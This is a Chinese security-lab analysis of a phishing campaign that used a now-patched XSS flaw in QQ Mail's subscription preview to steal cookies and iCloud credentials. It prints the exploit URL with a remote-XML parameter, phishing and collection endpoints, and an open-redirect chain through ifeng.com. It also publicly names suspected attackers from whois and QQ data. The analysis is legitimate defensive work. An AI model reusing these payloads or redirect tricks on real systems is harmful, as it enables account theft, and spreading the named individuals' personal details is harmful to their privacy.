最近,360天眼安全实验室接到用户反馈,表示其收到如下内容的钓鱼邮件:

2

经过分析,确定为此邮件为利用QQ邮箱的未公开跨站漏洞实施的一次钓鱼攻击。

截止到发稿为止,QQ邮箱已经修复了这个跨站漏洞。

下面是该漏洞的一些细节:

点开文中的云盘链接之后发现页面为一个空页面,但是查看其源代码后发现攻击代码:

3

代码部分:

http://open.mail.qq.com/cgi-bin/dy_preview?column_id=1445100421t3853355936t31244&column_url=远程XML的地址&column_img_url=&t=unite_tmpl_magazine&qqtype=lockKey10

 

本次出问题的模块为QQ邮箱的邮件订阅预览功能,该功能允许加载一个远程可控的XML文件,但是在解析远程xml文档,生成邮件预览页时,没有严格校验输入数据,从而导致跨站的发生。

上文中POC的column_url即为远程可控的XML文件,该文件结构如下图:

4

由于程序为未对link字段的输入数据进行严格校验而导致跨站。link标签的数据在生成邮件预览页的过程中会被readOriginalLink函数处理:

5

从上图中可以看到,readOriginalLink未对传入的参数aF进行任何校验,直接写入到了document对象中,此时的document.documentElement.innerHTML如下:

6

可见img标签已经成功被我们控制,从而使本次跨站可以成功实施。

下图为我们模拟的一次攻击过程所截获的用户邮箱Cookie:

7

巧合的是,就在本文准备发表之前,FreeBuf上出现了另外一篇分析文章,受害者收到的钓鱼邮件内容几乎与本文相同(<<事件还原:一封QQ恶意邮件,导致Apple ID密码丢失>>),但是使用的跨站漏洞与本次的不同。由此推测,此事件幕后是一个完整的产业链,攻击者手里可能还握有其他未知的QQ邮箱跨站漏洞。

截止到发文为止,天眼安全实验室还发现了位于qq.com域下的另外一个跨站漏洞,此漏洞已通过360补天平台提交给官方,在漏洞修复前细节暂不公布。

最后提醒各位QQ邮箱的用户,一定要慎点QQ邮箱中来历不明的邮件

 

通过对以上线索的深度挖掘我们发现攻击者至少使用了两种攻击方式进行钓鱼:利用跨站漏洞窃取Cookies、伪装iCloud登录页面。

1、 利用跨站漏洞钓取Cookie

攻击者会发一封带有XSS漏洞的邮件,目标点击后,会把QQ邮箱的Cookies发到攻击者的后台,攻击者收到Cookies后,通过Cookies登陆QQ邮箱,来重置iCloud密码。

上一篇文章中提到过,攻击者将一个嵌入了iframe的”空”页面地址发送给受害者,受害者在打开这个页面的同时会访问一个qq邮箱预览功能开头的url地址:

http://open.mail.qq.com/cgi-bin/dy_preview?column_id=1445100421t3853355936t31244&column_url=http://xxxxxxxxxx/mail.xml&column_img_url=&t=unite_tmpl_magazine&qqtype=lockKey10

其中column_url为预览功能需要的远程xml文件(这里是mail.xml),mail.xml内容如下:

QQ_XSS_1

 

通过解码“onerror”后的十六进制数据得到一个短网址:http://t.cn/RUWp7BJ

QQ_XSS_2

 

打开之后,发现是webxss生成的一个XSS模块,如图:

QQ_XSS_3

 

发现攻击者是通过webxss的测试平台来生成XSS攻击代码并接收漏洞得到利用后返回的Cookie数据的。

QQ_XSS_4

 

笔者申请了一个webxss账号,以下是平台的界面:

QQ_XSS_5

 

2、 伪装iCloud页面直接钓取账号

除了用跨站手段盗取Cookies的方式,攻击者还有伪造iCloud页面骗取账号和密码的方式。我们通过对mail.xml的服务器的进一步挖掘,找到了攻击者的另外2个钓鱼页面:

hxxp://www.icloud.com.kxhksa.cn/?CQYRH=10044.html
hxxp://www.icloud.com.myiphone.ren/?ILJIU=33885.html

其中第一个已经被360网盾拦截,所以攻击者现在一直在用第二个地址进行钓鱼。

分析发现第二个钓鱼页面会判断IP地址,笔者所在地区的IP地址,会被跳转到www.qq.com

如图:

QQ_XSS_6

 

挂上代理,打开相同的页面,发现返回了一个伪装iCloud的钓鱼页面,如图:

QQ_XSS_7

 

钓鱼网站是NetBox v3.0搭建的:

QQ_XSS_8

 

输入伪造的账号和密码,发现会把账号密码通过POST请求发送到一个远程地址:

hxxp://apple.myiphone.ren/ICloud13/save.asp

QQ_XSS_9

通过查找hxxp://www.icloud.com.kxhksa.cn/?CQYRH=10044.html

这个钓鱼页面的whois信息,发现网站的所有者是一位叫肖远玉的人(尚不确认注册信息是否真实),注册邮箱为:409****[email protected] 。

域名注册时间是2015年11月3日,目前处于活跃状态:

QQ_XSS_10

 

注册者的QQ号,通过QQ资料,猜测应该是一个小号。

QQ_XSS_11

 

此QQ号码之前的主人名为钟恩辉:

QQ_XSS_12

 

通过查找hxxp://www.icloud.com.myiphone.ren/?ILJIU=33885.html 另外一个钓鱼页面的whois信息,发现网站的所有者注册的邮箱为:99******@qq.com,注册人被置为:zhong en sheng 。

QQ_XSS_13

 

通过查找QQ信息,发现QQ的所有者是一个专门做QQ的XSS的人,根据QQ昵称推测,这人可能姓钟,与whois信息相符。

QQ_XSS_14

 

通过查询QQ群关系数据库,发现这个QQ的所有者名为:钟恩胜。

QQ_XSS_15

 

以下是相关QQ疑似所有者在其空间找到的生活照,在深圳市友谊酒店拍摄:

QQ_XSS_16

 

通过进一步地分析关联,我们发现了伪造icloud登录页面得到的账号与密码的后台地址:

hxxp://118.xxx.xxx.xxx/manager/index.asp

管理界面如图:

QQ_XSS_17

 

经过后台数据关联分析,发现和此攻击者有关的另外一个QQ号:

QQ_XSS_18

 

但由于我们无法找到更多的证据证明此QQ和本次XSS事件有关,挖掘工作就此告一段落。.

综上,攻击者主要通过2种方法解绑丢失的iPhone手机

1、 通过XSS钓QQ邮箱的Cookie,然后通过Cookies登陆QQ邮箱,重置iCloud密码解绑
2、 通过发送钓鱼邮件插入伪造的iCloud直接调取iCloud账号密码去解绑丢失的手机

由此,一条通过黑客手段处理灰色来源手机的黑产似乎隐约可见。

另外,再提一个之前遇到过用第二种方法钓鱼的典型案例:

用户反馈,说丢失的手机在新华路上线,让点击网站查看手机的具体位置,攻击者伪装apple的客服发送的一封邮件,发送的链接是一个ifeng.com的一个页面,用户转发给我的邮件如图:

QQ_XSS_19

 

攻击者发送了一个钓鱼连接,粗略的一看,会以为是正常的凤凰网的地址,大部分人可能会去打开,打开后会弹出一个与本次事件一样的钓鱼页面。

钓鱼链接如下:

http://bc.ifeng.com/c?db=ifeng&bid=85271,95182,3436&cid=2501,59,1&sid=33869&advid=349&camid=3546&show=ignore&url=http://newsletter.baidu.com/u.html?stime=2578162195&uid=baidu&eid=6459383&[email protected]&tlid=259&stid=1672&thid=259&url=IzEjaHR0cDovL2NucmRuLmNvbS9yZC5odG0/aWQ9MTQ2ODg3MiZyPWh0dHAlM0ElMkYlMkZ3d3cuZ3VvZnYuY29tJTJGcmV3JTJG

发现最后面一个参数是base64加密的,解开之后发现是一个网址:

#1#http://cnrdn.com/rd.htm?id=1468872&r=http%3A%2F%2Fwww.guofv.com%2Frew%2F

为攻击者精心的把钓鱼地址构造到ifeng.com的子域名里,去借助ifeng.com这个白域名去跳转到真正的钓鱼页面,这样做是为了过QQ邮箱不可信域名拦截,因为发送过去的是一个白域名,各类安全软件不会对一个白域名进行拦截。

从之前的用户反馈到本次截获的的攻击事件,可以看出攻击者的手法已经由被动的骗取密码,演变成了主动出击获取邮箱登录权限,从而使危害性更高,黑产不会放过任何一个可以使自己增加钱财的技术手段。

 

【原文:一次利用QQ邮件未公开跨站漏洞攻击的分析  安全脉搏小编Blackhold整理发布】

源链接

Hacking more

...